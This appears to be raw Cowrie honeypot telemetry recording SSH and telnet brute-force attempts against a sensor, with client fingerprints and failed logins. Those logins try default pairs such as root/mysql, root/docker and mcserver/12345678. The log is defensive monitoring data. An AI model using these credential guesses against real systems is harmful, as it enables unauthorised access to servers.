{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:07.212572Z","src_ip":"120.48.0.142","session":"ed60273cacc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debian","message":"login attempt [root/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:10.698760Z","src_ip":"120.48.0.142","session":"ed60273cacc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.0.142","src_port":39120,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c75ce15e836","protocol":"ssh","message":"New connection: 120.48.0.142:39120 (159.203.135.109:22) [session: 6c75ce15e836]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:12.240604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:12.247239Z","src_ip":"120.48.0.142","session":"6c75ce15e836","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:12.498816Z","src_ip":"120.48.0.142","session":"6c75ce15e836","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:12.552982Z","src_ip":"120.48.0.142","session":"ed60273cacc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"centos","message":"login attempt [root/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:14.379603Z","src_ip":"120.48.0.142","session":"6c75ce15e836","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.146","src_port":7035,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d6924ba4c50","protocol":"ssh","message":"New connection: 74.87.117.146:7035 (10.17.0.5:22) [session: 0d6924ba4c50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:15.766091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:15.774772Z","src_ip":"74.87.117.146","session":"0d6924ba4c50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:15.802274Z","src_ip":"74.87.117.146","session":"0d6924ba4c50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"12345678","message":"login attempt [mcserver/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:15.932246Z","src_ip":"74.87.117.146","session":"0d6924ba4c50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:15.938987Z","src_ip":"120.48.0.142","session":"6c75ce15e836","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:16.960281Z","src_ip":"74.87.117.146","session":"0d6924ba4c50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":40752,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf490ca2feff","protocol":"telnet","message":"New connection: 212.55.149.117:40752 (10.17.0.5:23) [session: cf490ca2feff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:20.580580Z"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.0.142","src_port":42566,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf64419a41c5","protocol":"ssh","message":"New connection: 120.48.0.142:42566 (159.203.135.109:22) [session: cf64419a41c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:23.296562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:23.344033Z","src_ip":"120.48.0.142","session":"cf64419a41c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:24.270985Z","src_ip":"120.48.0.142","session":"cf64419a41c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:28.035325Z","src_ip":"120.48.0.142","session":"cf64419a41c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:29.531173Z","src_ip":"120.48.0.142","session":"cf64419a41c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.0.142","src_port":55338,"dst_ip":"159.203.135.109","dst_port":22,"session":"550b08e786d3","protocol":"ssh","message":"New connection: 120.48.0.142:55338 (159.203.135.109:22) [session: 550b08e786d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:30.763144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:30.767969Z","src_ip":"120.48.0.142","session":"550b08e786d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:31.008718Z","src_ip":"120.48.0.142","session":"550b08e786d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":48948,"dst_ip":"10.17.0.5","dst_port":22,"session":"37b3159a3985","protocol":"ssh","message":"New connection: 165.227.170.113:48948 (10.17.0.5:22) [session: 37b3159a3985]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:48.571816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:48.576915Z","src_ip":"165.227.170.113","session":"37b3159a3985","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:48.662314Z","src_ip":"165.227.170.113","session":"37b3159a3985","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":58461,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc80e7ead798","protocol":"telnet","message":"New connection: 212.55.149.117:58461 (10.17.0.5:23) [session: cc80e7ead798]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:48.911842Z"}
{"eventid":"cowrie.login.failed","username":"bassuser","password":"bassuser","message":"login attempt [bassuser/bassuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:49.033896Z","src_ip":"165.227.170.113","session":"37b3159a3985","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:50.121669Z","src_ip":"165.227.170.113","session":"37b3159a3985","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nginx","message":"login attempt [root/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:51.336772Z","src_ip":"120.48.0.142","session":"550b08e786d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.8","message":"Connection lost after 21.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:52.582285Z","src_ip":"120.48.0.142","session":"550b08e786d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.0.142","src_port":48432,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a68a481e703","protocol":"ssh","message":"New connection: 120.48.0.142:48432 (159.203.135.109:22) [session: 9a68a481e703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:52.829890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:52.841270Z","src_ip":"120.48.0.142","session":"9a68a481e703","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:54.026044Z","src_ip":"120.48.0.142","session":"9a68a481e703","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mysql","message":"login attempt [root/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:55.688625Z","src_ip":"120.48.0.142","session":"9a68a481e703","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:56.937589Z","src_ip":"120.48.0.142","session":"9a68a481e703","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.0.142","src_port":52888,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae2304526f31","protocol":"ssh","message":"New connection: 120.48.0.142:52888 (159.203.135.109:22) [session: ae2304526f31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:57.219661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:57.227524Z","src_ip":"120.48.0.142","session":"ae2304526f31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:57.484786Z","src_ip":"120.48.0.142","session":"ae2304526f31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"apache","message":"login attempt [root/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:01.083483Z","src_ip":"120.48.0.142","session":"ae2304526f31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.0.142","src_port":57010,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a69661f6411","protocol":"ssh","message":"New connection: 120.48.0.142:57010 (159.203.135.109:22) [session: 2a69661f6411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:02.663970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:02.672846Z","src_ip":"120.48.0.142","session":"2a69661f6411","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:02.912420Z","src_ip":"120.48.0.142","session":"2a69661f6411","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:03.323957Z","src_ip":"120.48.0.142","session":"ae2304526f31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"docker","message":"login attempt [root/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:05.325531Z","src_ip":"120.48.0.142","session":"2a69661f6411","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:06.564903Z","src_ip":"120.48.0.142","session":"2a69661f6411","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.0.142","src_port":33446,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f81ea70dfa8","protocol":"ssh","message":"New connection: 120.48.0.142:33446 (159.203.135.109:22) [session: 0f81ea70dfa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:07.818931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:07.848415Z","src_ip":"120.48.0.142","session":"0f81ea70dfa8","protocol":"ssh"}
